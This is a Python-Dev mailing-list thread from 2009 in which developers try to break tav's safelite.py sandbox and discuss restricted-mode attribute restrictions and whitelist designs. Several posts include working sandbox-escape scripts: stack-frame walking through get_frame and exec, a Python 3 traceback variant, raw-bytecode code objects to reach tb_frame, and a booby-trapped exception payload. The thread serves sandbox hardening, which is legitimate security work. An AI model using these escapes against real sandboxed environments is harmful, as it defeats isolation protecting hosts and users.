FileReader('safelite.py').seek(1.1) > > # ... and is brutally mugged :) > print sys > print dir(sys) > -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian From ncoghlan at gmail.com Tue Feb 24 11:56:50 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Tue, 24 Feb 2009 20:56:50 +1000 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: <200902240131.55708.victor.stinner@haypocalc.com> <200902240147.05139.victor.stinner@haypocalc.com> Message-ID: <49A3D272.6030404@gmail.com> tav wrote: > 1. Remove ``compile`` from the safe builtins > 2. Take out ``tb_frame`` > > Thoughts on which of the two options is better would be very appreciated! Given the context manager hack I just sent you (similar in spirit to Paul's, just using a context manager's __exit__() method to get hold of the traceback instead of hacked bytecode), I think we can safely say that tb_frame has to go. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From solipsis at pitrou.net Tue Feb 24 12:11:13 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Tue, 24 Feb 2009 11:11:13 +0000 (UTC) Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] References: <200902240131.55708.victor.stinner@haypocalc.com> <2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com> Message-ID: tav espians.com> writes: > > I've fixed this hole in safelite.py, but would be interested to know > if there are other non-user-initiated dynamically imported modules? You'd better make __builtins__ read-only, it will plug a whole class of attacks like this. From dalke at dalkescientific.com Tue Feb 24 12:46:56 2009 From: dalke at dalkescientific.com (Andrew Dalke) Date: Tue, 24 Feb 2009 12:46:56 +0100 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: <200902240131.55708.victor.stinner@haypocalc.com> <2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com> Message-ID: Another hole. Not as devious as some, but easy to fix with yet another type check. And probably you want to get rid of "get_frame" from safelite. This trick notices 'buffering' is passed to open, which does an int coerce of non-int objects. I can look up the stack frames and get "open_file", which I can then use for whatever I want. In this case, I used the hole to reimplement 'open' in its entirety. import safelite class GetAccess(object): def __init__(self, filename, mode, buffering): self.filename = filename self.mode = mode self.buffering = buffering self.f = None def __int__(self): # Get access to the calling frame. # (Strange that that function is available.) frame = safelite.get_frame(1) # Look at that nice function right there. open_file = frame.f_locals["open_file"] # Get around restricted mode locals_d = {} exec """ def breakout(open_file, filename, mode, buffering): return open_file(filename, mode, buffering) """ in frame.f_globals, locals_d del frame # Call the function self.f = locals_d["breakout"](open_file, self.filename, self.mode, self.buffering) # Jump outta here raise TypeError def open(filename, mode="r", buffering=0): get_access = GetAccess(filename, mode, buffering) try: safelite.FileReader("whatever", "r", get_access) except TypeError: return get_access.f f = open("busted.txt", "w") f.write("Broke out of jail!\n") f.close() print "Message is:", repr(open("busted.txt").read()) Andrew Dalke dalke at dalkescientific.com From dalke at dalkescientific.com Tue Feb 24 12:51:29 2009 From: dalke at dalkescientific.com (Andrew Dalke) Date: Tue, 24 Feb 2009 12:51:29 +0100 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: <200902240131.55708.victor.stinner@haypocalc.com> <2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com> Message-ID: Another hole. Not as devious as some, but easy to fix with yet another type check. This trick notices 'buffering' is passed to open, which does an int coerce of non-int objects. I can look up the stack frames and get "open_file", which I can then use for whatever I want. In this case, I used the hole to reimplement 'open' in its entirety. import safelite class GetAccess(object): def __init__(self, filename, mode, buffering): self.filename = filename self.mode = mode self.buffering = buffering self.f = None def __int__(self): # Get access to the calling frame. # (Strange that that function is available, but I # could do it the old-fashioned way and raise/ # catch and exception) frame = safelite.get_frame(1) # Look at that nice function right there. open_file = frame.f_locals["open_file"] # Get around restricted mode locals_d = {} exec """ def breakout(open_file, filename, mode, buffering): return open_file(filename, mode, buffering) """ in frame.f_globals, locals_d del frame # Call the function self.f = locals_d["breakout"](open_file, self.filename, self.mode, self.buffering) # Jump outta here raise TypeError def open(filename, mode="r", buffering=0): get_access = GetAccess(filename, mode, buffering) try: safelite.FileReader("whatever", "r", get_access) except TypeError: return get_access.f f = open("busted.txt", "w") f.write("Broke out of jail!\n") f.close() print "Message is:", repr(open("busted.txt").read()) Andrew Dalke dalke at dalkescientific.com From victor.stinner at haypocalc.com Tue Feb 24 13:50:40 2009 From: victor.stinner at haypocalc.com (Victor Stinner) Date: Tue, 24 Feb 2009 13:50:40 +0100 Subject: [Python-Dev] Python jail: whitelist vs blacklist Message-ID: <200902241350.40630.victor.stinner@haypocalc.com> Hi, Today it's clear that tav's jail is broken. Many hackers proved how to break it. Fixing each hole is maybe not the good solution. IMHO the problem is that tav choosed the blacklist approach: hide some "evil" attributes/functions and hope that the other are safe... which is wrong (eg. evil compile(), reload(), isinstance(), str !!!, TypeError, ...). A better approach would be to create a new world (namespace) from an empty namespace and then add our "secure" functions/types using strong validations (using a whitelist instead of a blacklist). Examples: - why compile() was still available? - why __builtins__ is modifiable? - why __class__ is readable? We should built an empty world and then add functions, types, attributes one by one until we can display an hello world ;-) -- This approach was implemented in PyPy using two interpreters. In CPython, we may use proxies on anything to check all operations. jail -- validations --> real world jail <-- proxy objects -- real world tav's jail might be converted to the whitelist approach: - add proxy to __builtins__ - add proxy to globals() - add proxy to dir() - ... well, add proxies to anything going to the jail ;-) and make sure that a proxy can not be modified by itself or read private attributes My approach is maybe naive and imposible to implement :-) -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ From ncoghlan at gmail.com Tue Feb 24 14:25:09 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Tue, 24 Feb 2009 23:25:09 +1000 Subject: [Python-Dev] Python jail: whitelist vs blacklist In-Reply-To: <200902241350.40630.victor.stinner@haypocalc.com> References: <200902241350.40630.victor.stinner@haypocalc.com> Message-ID: <49A3F535.7040806@gmail.com> Victor Stinner wrote: > My approach is maybe naive and imposible to implement :-) It actually goes back to some of the stuff Brett Cannon was working on in his object capabilities branch. However, one of the key building blocks turned out to be an easier to tailor import system, so the project was kind of taken over by Brett's work on importlib. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From tav at espians.com Tue Feb 24 14:29:26 2009 From: tav at espians.com (tav) Date: Tue, 24 Feb 2009 13:29:26 +0000 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: <200902240131.55708.victor.stinner@haypocalc.com> <2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com> Message-ID: antoine> You'd better make __builtins__ read-only, it will antoine> plug a whole class of attacks like this. I tried to put this off as long as I could to try and unearth interesting attacks. But unfortunately I couldn't figure out a way to fix the warnings approach used by Daniel without doing this -- so from v7 __builtins__ isn't shared any more. The good thing is that we won't have more of the __builtins__ class of attacks -- the flip side is that we might be closing the door on discovering some really interesting gems... andrew> I can look up the stack frames and get andrew> "open_file", which I can then use for whatever I want. Ehm, thanks for taking the time to implement that Andrew. But the challenge was about doing `from safelite import FileReader`. I specifically stated that form over the openly exploitable `import safelite`... so, sorry =( You have to remember that this isn't the way that this code will actually be used in practise. This is just a challenge to see if the model holds... -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian From cesare.dimauro at a-tono.com Tue Feb 24 14:46:22 2009 From: cesare.dimauro at a-tono.com (Cesare Di Mauro) Date: Tue, 24 Feb 2009 14:46:22 +0100 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: <200902240131.55708.victor.stinner@haypocalc.com> <2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com> Message-ID: On Feb, 24 2009 at 12:11PM, Antoine Pitrou wrote: > tav espians.com> writes: >> >> I've fixed this hole in safelite.py, but would be interested to know >> if there are other non-user-initiated dynamically imported modules? > > You'd better make __builtins__ read-only, it will plug a whole class of attacks > like this. I found very useful adding objects to the builtins namespace, but I'll prefer a standard and controlled way to do so. Something like a built-in function "install", like the following which I use: import __builtin__, types _ValidBuiltinTypes = (types.BuiltinFunctionType, types.ClassType, types.FunctionType, types.GeneratorType, types.TypeType, functools.partial) def install(*Args, **Keys): '''Installs the given parameters in the builtins namespace. From Args will be installed only valid types (classes, functions and types), taking their __name__ attribute. Every keyword-value cuple from Keys will be installed as is.''' _NameSpace = __builtin__.__dict__ for Arg in Args: if isinstance(Arg, _ValidBuiltinTypes): _NameSpace[Arg.__name__] = Arg for Key, Value in Keys.iteritems(): _NameSpace[Key] = Value With a built-in install function a granular control can be implemented by the running Python implementation. Also, having builtins read only by default can be used in future compiler and virtual machine implementations to gain interesting optimizations. Cheers, Cesare From tav at espians.com Tue Feb 24 15:05:47 2009 From: tav at espians.com (tav) Date: Tue, 24 Feb 2009 14:05:47 +0000 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: <49A3D272.6030404@gmail.com> References: <200902240131.55708.victor.stinner@haypocalc.com> <200902240147.05139.victor.stinner@haypocalc.com> <49A3D272.6030404@gmail.com> Message-ID: Hey Nick, > Given the context manager hack I just sent you (similar in spirit to > Paul's, just using a context manager's __exit__() method to get hold of > the traceback instead of hacked bytecode) Thanks for this -- very cool! > I think we can safely say that tb_frame has to go. I've fixed this in v8 -- got a website that I can link to for the blog? And instead of trying to make tb_frame go away, I'd like to add the following to my proposed patch of RESTRICTED attributes: * f_code * f_builtins * f_globals * f_locals That seems to do the trick... -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian From tav at espians.com Tue Feb 24 15:18:28 2009 From: tav at espians.com (tav) Date: Tue, 24 Feb 2009 14:18:28 +0000 Subject: [Python-Dev] Python jail: whitelist vs blacklist In-Reply-To: <200902241350.40630.victor.stinner@haypocalc.com> References: <200902241350.40630.victor.stinner@haypocalc.com> Message-ID: Hey Victor, > Today it's clear that tav's jail is broken. Forgive me as I'm sleep deprived, but no =) > Many hackers proved how to break it. > Fixing each hole is maybe not the good solution. The aim of this challenge has been to: 1. Validate the functions-based approach 2. Verify if the proposed set of new attribute RESTRICTIONs are enough As such, it has been important to ensure that we have as large an attack surface as possible. And given how trivial it has been to fix the bugs, the functions-based approach seems to be holding up =) And as for the attributes needing to be restricted, we've discovered that we need to restrict the f_* attributes of frameobject along with the initial type.__subclasses__, gi_code and gi_frame. > A better approach would be to create a new world (namespace) from an empty > namespace and then add our "secure" functions/types using strong validations > (using a whitelist instead of a blacklist). Sure -- you are absolutely right about using a whitelist approach. safelite.py is just for the challenge... to demonstrate that the functions-based approach could possibly lead to securing the Python interpreter and to verify that we've restricted the necessary attributes. Once the patch gets accepted, we can start creating a fresh world built up from an object capability base =) > In CPython, we may use proxies on anything to check all operations. > ?jail ? -- validations --> real world > ?jail <-- proxy objects -- real world Ehm, I'd strongly discourage any approaches using proxies. The performance penalties will just be insane. If you really want one though -- check out Zope proxy. It already implements this quite well and you can use it today! =) -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian From dalke at dalkescientific.com Tue Feb 24 15:28:57 2009 From: dalke at dalkescientific.com (Andrew Dalke) Date: Tue, 24 Feb 2009 15:28:57 +0100 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: <200902240131.55708.victor.stinner@haypocalc.com> <2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com> Message-ID: tav > But the challenge was about doing `from safelite import FileReader`. Though it doesn't say so on the first post on this thread nor your page at http://tav.espians.com/a-challenge-to-break-python-security.html It says "Now find a way to write to the filesystem from your interpreter". Which is what I did. Who's to say your final implementation will be more secure ;) But I see your point. Perhaps update the description for those misguided souls like me? > This is just a challenge to see if the model holds I haven't been watching this discussion closely and I can't find mention of this - is the goal to support only 2.x or also support Python 3? Your model seems to assume 2.x only, and there may be 3.x attacks that aren't considered in the challenge. For example, in Python 3 I would use the __traceback__ method of the exception object to reach in and get the open function. That seems morally equivalent to what I did. I hacked out the parts of safelite.py which wouldn't work in Python3. Following is a variation on the theme. import safelite try: safelite.FileReader("/dev/null", "r", "x") except TypeError as err: frame = err.__traceback__.tb_next.tb_frame frame.f_locals["open_file"]("test.txt", "w").write("done.") > And instead of trying to make tb_frame go away, I'd like to add the > following to my proposed patch of RESTRICTED attributes: > > * f_code > * f_builtins > * f_globals > * f_locals which of course would make the above no longer work. Cheers, Andrew dalke at dalkescientific.com From dalke at dalkescientific.com Tue Feb 24 15:46:04 2009 From: dalke at dalkescientific.com (Andrew Dalke) Date: Tue, 24 Feb 2009 15:46:04 +0100 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: <200902240131.55708.victor.stinner@haypocalc.com> <200902240147.05139.victor.stinner@haypocalc.com> <49A3D272.6030404@gmail.com> Message-ID: On Tue, Feb 24, 2009 at 3:05 PM, tav wrote: > And instead of trying to make tb_frame go away, I'd like to add the > following to my proposed patch of RESTRICTED attributes: > > * f_code > * f_builtins > * f_globals > * f_locals > > That seems to do the trick... A goal is to use this in App Engine, yes? Which uses cgitb to report errors? Which needs these restricted frame attributes to report the values of variables when the error occurred? Andrew Dalke dalke at dalkescientific.com From victor.stinner at haypocalc.com Tue Feb 24 15:52:31 2009 From: victor.stinner at haypocalc.com (Victor Stinner) Date: Tue, 24 Feb 2009 15:52:31 +0100 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: Message-ID: <200902241552.31205.victor.stinner@haypocalc.com> Le Tuesday 24 February 2009 15:46:04 Andrew Dalke, vous avez ?crit?: > > And instead of trying to make tb_frame go away, I'd like to add the > > following to my proposed patch of RESTRICTED attributes: > > > > * f_code > > * f_builtins > > * f_globals > > * f_locals > > > > That seems to do the trick... > > A goal is to use this in App Engine, yes? Which uses cgitb to report > errors? Which needs these restricted frame attributes to report the > values of variables when the error occurred? We should be able to restore the original environment. Example: ... jail(evil_func) # called in the jail # unsafe environment with __subclasses__, f_code, etc. ... -- Victor Stinner aka haypo http://www.haypocalc.com/blog/ From tav at espians.com Tue Feb 24 16:23:47 2009 From: tav at espians.com (tav) Date: Tue, 24 Feb 2009 15:23:47 +0000 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: <200902240131.55708.victor.stinner@haypocalc.com> <2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com> Message-ID: Hey Andrew & Victor, tav> But the challenge was about doing `from safelite import FileReader`. Andrew> Though it doesn't say so on the first post on this thread Andrew> nor your page at Andrew>?http://tav.espians.com/a-challenge-to-break-python-security.html Sorry, perhaps I should have clearly instructed NOT to do `import safelite`. I thought the following text would have been clear enough: Open a fresh Python interpreter and do: >>> from safelite import FileReader But I can see how that might not have been enough. I'll amend the second line to: >>> from safelite import FileReader # AND NOT ``import safelite`` Would that be clearer? Andrew> I haven't been watching this discussion closely Andrew> and I can't find mention of this Sorry, the discussion has been meandering. It started on: * http://code.google.com/p/googleappengine/issues/detail?id=671 Then went onto: * http://codereview.appspot.com/21043/show And finally ended up here on Python-Dev to get approval for the patch. And in the process of getting the approval, the safelite challenge started... Andrew> is the goal to support only 2.x or also support Andrew> Python 3? Your model seems to assume 2.x Andrew> only, and there may be 3.x attacks that aren't Andrew> considered in the challenge. The model is suited for both 2.x and 3.x. The safelite test on the other hand is targeted at 2.x (starting from 2.5). You have a point with regards to there being 3.x attacks being out there. Perhaps we can get a 3.x compatible version of safelite out? tav> And instead of trying to make tb_frame go away, I'd like tav> to add the following to my proposed patch of tav> RESTRICTED attributes [snip] Andrew> which of course would make the above no longer work. The challenge helped identify those attributes. And will hopefully identify any other "leak" attributes which may still be there. Andrew> A goal is to use this in App Engine, yes? Yes. Andrew> Which uses cgitb to report errors? Which needs these Andrew> restricted frame attributes to report the values of Andrew> variables when the error occurred? The frame attributes will still be accessible by cgitb. Python's existing IsRestricted framework in the interpreter will take care of that. It's genius!! Victor> We should be able to restore the original environment. Victor> Example: Victor> jail(evil_func) # called in the jail Victor> # unsafe environment with __subclasses__, f_code, etc. Hmz, Python's IsRestricted already enables this. I think it's time that I wrote some documentation that Martin wanted explaining Python's already existing IsRestricted support. Besides a few lines here and there, there seems to be no comprehensive documentation on this that I can find anywhere. And I think this may be the cause of much confusion? Would that help? -- love, tav plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 http://tav.espians.com | http://twitter.com/tav | skype:tavespian From pje at telecommunity.com Tue Feb 24 16:26:13 2009 From: pje at telecommunity.com (P.J. Eby) Date: Tue, 24 Feb 2009 10:26:13 -0500 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: <200902241552.31205.victor.stinner@haypocalc.com> References: <200902241552.31205.victor.stinner@haypocalc.com> Message-ID: <20090224152403.5F0563A4075@sparrow.telecommunity.com> At 03:52 PM 2/24/2009 +0100, Victor Stinner wrote: >Le Tuesday 24 February 2009 15:46:04 Andrew Dalke, vous avez ?crit : > > A goal is to use this in App Engine, yes? Which uses cgitb to report > > errors? Which needs these restricted frame attributes to report the > > values of variables when the error occurred? > >We should be able to restore the original environment. Example: > > ... > jail(evil_func) # called in the jail > # unsafe environment with __subclasses__, f_code, etc. > ... Of course, you'll have to ensure that anything you do with data from the jail is also jailed... that callbacks run in the jail, etc. (This is one advantage of the RestrictedPython approach -- the jailing of the restricted code isn't dependent on some global state; it's wired right into the restricted code.) From hall.jeff at gmail.com Tue Feb 24 16:24:46 2009 From: hall.jeff at gmail.com (Jeff Hall) Date: Tue, 24 Feb 2009 10:24:46 -0500 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: <200902241552.31205.victor.stinner@haypocalc.com> References: <200902241552.31205.victor.stinner@haypocalc.com> Message-ID: <1bc395c10902240724y68a1fb5au57dac919b37b863f@mail.gmail.com> I didn't see Tav actually say this but are we all agreed that compile() should be removed from __builtins__? -------------- next part -------------- An HTML attachment was scrubbed... URL: From lists at cheimes.de Tue Feb 24 18:16:06 2009 From: lists at cheimes.de (Christian Heimes) Date: Tue, 24 Feb 2009 18:16:06 +0100 Subject: [Python-Dev] Python jail: whitelist vs blacklist In-Reply-To: <200902241350.40630.victor.stinner@haypocalc.com> References: <200902241350.40630.victor.stinner@haypocalc.com> Message-ID: Victor Stinner wrote: > This approach was implemented in PyPy using two interpreters. > > In CPython, we may use proxies on anything to check all operations. > jail -- validations --> real world > jail <-- proxy objects -- real world > > tav's jail might be converted to the whitelist approach: > - add proxy to __builtins__ > - add proxy to globals() > - add proxy to dir() > - ... well, add proxies to anything going to the jail ;-) and make sure that > a proxy can not be modified by itself or read private attributes > > My approach is maybe naive and imposible to implement :-) Something similar to your approach is already implemented in Zope 3's security system. Have a look at http://svn.zope.org/zope.security/trunk/src/zope/security/ Christian From guido at python.org Tue Feb 24 20:23:03 2009 From: guido at python.org (Guido van Rossum) Date: Tue, 24 Feb 2009 11:23:03 -0800 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: <200902240131.55708.victor.stinner@haypocalc.com> <200902240147.05139.victor.stinner@haypocalc.com> Message-ID: On Mon, Feb 23, 2009 at 11:07 PM, tav wrote: > ?guido> I can access the various class and metaclass objects > ?guido> easily [snip] > > It would've been possible to replace __call__ on the metaclass -- > which, though not a security leak by itself, could've been abused for > some fun. > > I've inlined the __metaclass__ to prevent fun of this kind. In fact you don't need a metaclass at all. I think you could do something like this in your Namespace() function: ...compute ns_items as before... class NamespaceObject(object): __slots__ = () for name, value in ns_items: setattr(NamespaceObject, name, value) return NamespaceObject() > But the really tricky one so far is this hardcore hack that Paul > Cannon emailed in: > >>>> from safelite import FileReader >>>> __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 'eval'))(2, 2, 4, 67, 'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S', (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, (TypeError,)) >>>> try: > ... ? FileReader('foo', 2) > ... except: > ... ? pass > ... >>>> stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n') That is a known loophole that makes anything possible (mostly segfaults, for sure). App Engine also stops you from doing this. > He explains it in detail here: > http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html > > It's very cool! > > He uses the ``compile`` builtin to get hold of the CodeType and then > uses that to construct a nifty function with custom bytecode. Turns > out that with the bytecode one can grab traceback objects off of the > stack!! > > And, from there, it's just a mere attribute access away to get hold of > traceback.tb_frame! > > Paul, wisely, outlines the two possible options to remedy this: > > 1. Remove ``compile`` from the safe builtins > 2. Take out ``tb_frame`` 3. Disallow creating code objects from their constructor in restricted mode. Please add this to your "restricted" patch. (I still think your challenge would be more realistic if you didn't share __builtins__ but instead relied on restricted mode more.) > If compile is not present and given that func_code and gi_code are not > present -- are there other ways of getting at the CodeType? If there > aren't then getting rid of compile gives us an easy win. You can also create code objects by unmarshalling them. This should also be prevented in restricted mode. > If getting rid of tb_frame is the approach -- then you were right > Guido -- there are more variables which need to be restricted! But, > this just makes the patch into 7 lines of code instead of 6, so I'm > still happy =) Restricting tb_frame is probably a good idea on its own; in 3.0 you won't have to work so hard to get access to a traceback object, since each exception has one. OTOH traceback.py uses some things from the frame, but maybe we'll just have to forego that (or provide selected R/O access to some frame attributes deemed benign). > The only thing I can't figure out is how to get rid of the attribute > using ctypes for the safelite challenge as calling > dictionary_of(TracebackType) in safelite.py presents a very minimal > {'__doc__': None} I don't know anything about ctypes or dictionary_of(). Maybe you need to raise an exception first so that PyType_Ready is called? The source is in Python/traceback.c. > Also, the comments in Lib/types.py states: > > ? ?# In the restricted environment, exc_info returns (None, None, > ? ?# None) Then, tb.tb_frame gives an attribute error > > I can't seem to find the place in the Python source where exc_info() > behaves differently under restricted mode... I'm guessing this refers to a pseudo-implementation of sys.exc_info() provided by rexec.py. > Thoughts on which of the two options is better would be very appreciated! > > And thanks for the ongoing hacks guys -- this is turning out great!! > > -- > love, tav > > plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 > http://tav.espians.com | http://twitter.com/tav | skype:tavespian > -- --Guido van Rossum (home page: http://www.python.org/~guido/) From guido at python.org Tue Feb 24 20:27:57 2009 From: guido at python.org (Guido van Rossum) Date: Tue, 24 Feb 2009 11:27:57 -0800 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: <200902240131.55708.victor.stinner@haypocalc.com> <200902240147.05139.victor.stinner@haypocalc.com> <49A3D272.6030404@gmail.com> Message-ID: On Tue, Feb 24, 2009 at 6:46 AM, Andrew Dalke wrote: > On Tue, Feb 24, 2009 at 3:05 PM, tav wrote: >> And instead of trying to make tb_frame go away, I'd like to add the >> following to my proposed patch of RESTRICTED attributes: >> >> * f_code >> * f_builtins >> * f_globals >> * f_locals >> >> That seems to do the trick... > > A goal is to use this in App Engine, yes? Which uses cgitb to report > errors? Which needs these restricted frame attributes to report the > values of variables when the error occurred? The goal is not to run the entire app in the sandbox. The goal (Tav's goal I should say -- I don't have this need myself :-) is for an app to be able to safely run snippets of Python uploaded by users of the app. I think it's fine if those snippets can't format beautiful tracebacks -- the app's own ability to do so is not affected. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From guido at python.org Tue Feb 24 20:30:12 2009 From: guido at python.org (Guido van Rossum) Date: Tue, 24 Feb 2009 11:30:12 -0800 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: <1bc395c10902240724y68a1fb5au57dac919b37b863f@mail.gmail.com> References: <200902241552.31205.victor.stinner@haypocalc.com> <1bc395c10902240724y68a1fb5au57dac919b37b863f@mail.gmail.com> Message-ID: On Tue, Feb 24, 2009 at 7:24 AM, Jeff Hall wrote: > I didn't see Tav actually say this but are we all agreed that compile() > should be removed from __builtins__? I personally disagree -- I think we should instead add restrictions on the creation of new code objects by calling the constructor directly. Calling compile() should be fine. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From guido at python.org Tue Feb 24 20:30:46 2009 From: guido at python.org (Guido van Rossum) Date: Tue, 24 Feb 2009 11:30:46 -0800 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: <200902240131.55708.victor.stinner@haypocalc.com> <2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com> Message-ID: On Tue, Feb 24, 2009 at 12:27 AM, tav wrote: > Daniel emailed in the exploit below and it is pretty devastating. It > takes advantage of the fact that the warnings framework in 2.6+ > dynamically imports modules without being explicitly called!! > > I've fixed this hole in safelite.py, but would be interested to know > if there are other non-user-initiated dynamically imported modules? > > Thanks Daniel for bringing this to our attention! Grep the source for PyImport. -- --Guido van Rossum (home page: http://www.python.org/~guido/) From guido at python.org Tue Feb 24 20:32:23 2009 From: guido at python.org (Guido van Rossum) Date: Tue, 24 Feb 2009 11:32:23 -0800 Subject: [Python-Dev] Python jail: whitelist vs blacklist In-Reply-To: References: <200902241350.40630.victor.stinner@haypocalc.com> Message-ID: On Tue, Feb 24, 2009 at 6:18 AM, tav wrote: > Ehm, I'd strongly discourage any approaches using proxies. The > performance penalties will just be insane. And yet your FileReader is essentially a proxy?! -- --Guido van Rossum (home page: http://www.python.org/~guido/) From brett at python.org Tue Feb 24 21:16:33 2009 From: brett at python.org (Brett Cannon) Date: Tue, 24 Feb 2009 12:16:33 -0800 Subject: [Python-Dev] Core sprint page for PyCon 2009 now up Message-ID: If you plan to attend go to http://us.pycon.org/2009/sprints/projects/python-core/ and fill in your name and when you plan to be there (not required, though; just nice). -Brett -------------- next part -------------- An HTML attachment was scrubbed... URL: From ajaksu at gmail.com Tue Feb 24 22:42:59 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Tue, 24 Feb 2009 18:42:59 -0300 Subject: [Python-Dev] Challenge: Please break this! [Now with blog post] In-Reply-To: References: <200902240131.55708.victor.stinner@haypocalc.com> <2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com> Message-ID: <2d75d7660902241342r5f60074aw1545affbcd095882@mail.gmail.com> print ''' tav wrote: > Daniel emailed in the exploit below and it is pretty devastating. It > takes advantage of the fact that the warnings framework in 2.6+ > dynamically imports modules without being explicitly called!! Here's one I couldn't develop to a working exploit, but think is promising. It highlights a real Python bug and an implementation detail. Targets 2.6 or trunk. It was how I stumbled upon the _warnings hack :) Should be copy-n-past'able, Daniel ''' # Hi from safelite import FileReader # First, it's possible to set a booby-trapped # Exception due to a Python bug # This is bait, say hi bait def bait(): ''' Hi! ''' try: return bait() except: return "Ready to go" # Set the trap bait() # Let FileReader trigger it -> RuntimeError in Namespace: FileReader('safelite.py') # ^- shoud give: # Traceback (most recent call last): # File "", line 1, in # File "safelite.py", line 242, in FileReader # self = Namespace() # File "safelite.py", line 165, in Namespace # for name, obj in sys.get_frame_locals(frame) \ # .iteritems(): # RuntimeError: maximum recursion depth exceeded # # Now, I think this might be a special RuntimeError... # Let's catch it! Bait, please? bait() try: FileReader('safelite.py') except Exception, caught: pass # Let's brand it caught.__init__("I'm back, the other side is scary!") # Now set it free and see if it comes back bait() try: FileReader('safelite.py') except Exception, caught_again: pass # Who's there? print caught_again # -> He's back! # So, hm, that's it... not so exciting but might help # traceback-based exploits. Did I mention little 'caught' # there can carry arbitrary payloads? Nice boy. # Another one # # Now, that we have a protection against _warnings, # an obvious bait-less new trap is available # Got a spare SystemError? FileReader('safelite.py', 'r', 1.1) # ^- shoud give: # Traceback (most recent call last): # File "", line 1, in # File "safelite.py", line 201, in FileReader # fileobj = open_file(filename, mode, buffering) # SystemError: Objects/moduleobject.c:50: bad argument \ # to internal function # Nice, but I want a cleaner one. Hey, caught, could you? print caught.message # ^- shoud give: # Traceback (most recent call last): # File "", line 1, in # SystemError: Objects/moduleobject.c:50: bad argument \ # to internal function # This seems to be a regular SystemError. It's not as # polite as our pet RuntimeError 'caught', which can # be silenced by intervening Exceptions. # As I should stop playing with this, here's # a plea for help: set 'caught' free before you go. # Here's the target: freedom class freedom(object): def __repr__(self): print list(sorted(globals()['__builtins__'].keys())) print '\n\n--------\n' return str(input('Type for freedom:\n >> ;) > ')) # Initiate caught on it caught.__init__(freedom()) # Set the bait... bait() # Now, type something clever :) FileReader('safelite.py') From jbaker at zyasoft.com Tue Feb 24 23:11:00 2009 From: jbaker at zyasoft.com (Jim Baker) Date: Tue, 24 Feb 2009 15:11:00 -0700 Subject: [Python-Dev] Reviving restricted mode? In-Reply-To: References: <1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com> <49A1CE8D.9000508@v.loewis.de> <49A3261A.8040903@v.loewis.de> Message-ID: This looks very interesting. What I like about Tav's approach is that it should also be directly applicable to Jython. Much like Jython in general, there's a tight correspondence between typeobject.c/PyType.java and genobject.c/PyGenerator.java. So we plan on trying out a similar, presumably small patch too. What will be very helpful here is identifying a set of tests that verify these claims of restricted execution. - Jim On Mon, Feb 23, 2009 at 4:03 PM, tav wrote: > Hey Martin, > > >> The patch is a mere 6 lines of code and provides the absolute minimum > >> that is needed to secure the Python interpreter! > > > > Unlike Guido, I'm not quite willing to your word for it. > > You are right. Sorry, I was a bit too enthusiastic and overstated the case. > > How about: "it could possibly enable a secured Python interpreter" ? > > > OTOH, the patch looks harmless (with minor corrections). It could > > be considered a bug fix for the current set of restricted attributes > > Yes, and it is in that light that I would like the patch to be accepted. > > -- > love, tav > > plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369 > http://tav.espians.com | http://twitter.com/tav | skype:tavespian > _______________________________________________ > Python-Dev mailing list > Python-Dev at python.org > 